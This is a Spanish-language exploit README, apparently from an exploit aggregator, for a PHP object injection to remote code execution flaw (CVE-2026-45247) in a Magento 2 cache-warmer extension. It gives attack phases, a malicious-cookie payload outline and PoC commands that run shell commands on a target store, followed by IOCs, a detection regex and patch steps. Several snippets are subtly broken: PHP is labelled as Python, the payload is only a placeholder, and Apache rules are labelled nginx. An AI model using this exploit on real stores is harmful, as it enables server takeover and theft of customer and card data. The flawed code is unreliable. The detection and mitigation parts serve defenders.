Share
## https://sploitus.com/exploit?id=1266C7BC-7796-5696-8232-81670D20B588
markdown
# CVE-2026-45247 - Mirasvit Full Page Cache Warmer for Magento 2 - PHP Object Injection → RCE

[![CVE-2026-45247](https://img.shields.io/badge/CVE-2026--45247-critical)](https://nvd.nist.gov/vuln/detail/CVE-2026-45247)
[![CVSS](https://img.shields.io/badge/CVSS-9.8%20(Critical)-red)](https://www.first.org/cvss/calculator/3.1)
[![CISA KEV](https://img.shields.io/badge/CISA%20KEV-Active%20Exploitation-red)](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)

## 📋 Descripción

**CVE-2026-45247** es una vulnerabilidad crítica de **Inyección de Objetos PHP (PHP Object Injection)** en la extensión **Mirasvit Full Page Cache Warmer** para Magento 2 y Adobe Commerce. Un atacante no autenticado puede lograr **Ejecución Remota de Código (RCE)** mediante el envío de un objeto PHP serializado manipulado en la cookie `CacheWarmer`.

La vulnerabilidad reside en la llamada sin restricciones a la función nativa `unserialize()` de PHP, combinada con cadenas de gadgets (gadget chains) disponibles en Magento y sus dependencias (especialmente Monolog).

| Atributo | Valor |
|---|---|
| **CVE** | CVE-2026-45247 |
| **Producto** | Mirasvit Full Page Cache Warmer for Magento 2 |
| **Versiones afectadas** | Todas las versiones **anteriores a 1.11.12** |
| **Parche disponible** | Versión 1.11.12 (25 de mayo de 2026) |
| **CVSS Score** | 9.8 (Crítica) |
| **Vector** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **Estado en CISA KEV** | Explotación activa confirmada (añadida el 03/06/2026) |
| **Fecha límite** | 06/06/2026 |

## 🚨 Mecanismo de Ataque

1. La extensión procesa la cookie `CacheWarmer` en **cada petición de tienda**
2. El valor de la cookie se pasa a `unserialize()` sin sanitización
3. Un atacante envía un objeto PHP serializado malicioso
4. Usando gadget chains de Monolog (`SyslogUdpHandler`, `BufferHandler`, `FingersCrossedHandler`), se logra RCE
5. El comando se ejecuta en el servidor con privilegios del servicio web

## ⚙️ Fases del Ataque

### Fase 1: Reconocimiento
```bash
# Verificar si la tienda usa Mirasvit Cache Warmer
curl -s https://tienda.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md
Fase 2: Análisis de Vulnerabilidad
python
# La cookie se procesa en cada request sin autenticación
# El código vulnerable en Mirasvit:
$cookieValue = $_COOKIE['CacheWarmer'];
$data = unserialize(base64_decode($cookieValue));  # ¡Peligro!
Fase 3: Ejecución del Exploit
python
# Construcción de la cookie maliciosa
payload = serialize(PHPObjectInjection())
cookie_value = f"CacheWarmer:{base64_encode(payload)}"

# Envío de la petición
requests.get(target, cookies={'CacheWarmer': cookie_value})
🛠️ Uso del PoC
Instalación
bash
git clone https://github.com/tu-usuario/CVE-2026-45247.git
cd CVE-2026-45247
pip install requests
Ejecución Básica
bash
# Verificar vulnerabilidad
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com --check-only

# Ejecutar comando 'id'
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id"

# Ejecutar comando personalizado
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "whoami"

# Usar proxy para depuración
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "ls -la" --proxy http://127.0.0.1:8080
Script Rápido
bash
# Verificar con script bash
chmod +x check_cve_2026_45247.sh
./check_cve_2026_45247.sh https://tienda.ejemplo.com
📊 Impacto Demostrado
Ejecución remota de comandos (RCE) en el servidor Magento

Acceso completo a la base de datos de clientes y pedidos

Instalación de webshells para persistencia

Compromiso total de la tienda en línea

Potencial filtración de datos de tarjetas de crédito

Movimiento lateral en la infraestructura corporativa

🛡️ Detección
Indicadores de Compromiso (IOCs)
En logs de acceso:

text
CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+
Comandos observados en explotación:

bash
echo PWNED_CVE2026_$(date +%s)
sleep 5
Gadget chains utilizadas:

Monolog\Handler\SyslogUdpHandler

Monolog\Handler\BufferHandler

Monolog\Handler\FingersCrossedHandler

Monolog\Handler\GroupHandler

🔧 Mitigación
Actualización Inmediata
bash
# Actualizar a versión parcheada
composer require mirasvit/module-cache-warmer:1.11.12
bin/magento cache:flush
Mitigaciones Temporales
nginx
# Bloquear cookie CacheWarmer en .htaccess o nginx
RewriteCond %{HTTP_COOKIE} CacheWarmer
RewriteRule .* - [F,L]
php
// En app/code/local/Custom/BlockCookie.php
if (isset($_COOKIE['CacheWarmer'])) {
    unset($_COOKIE['CacheWarmer']);
}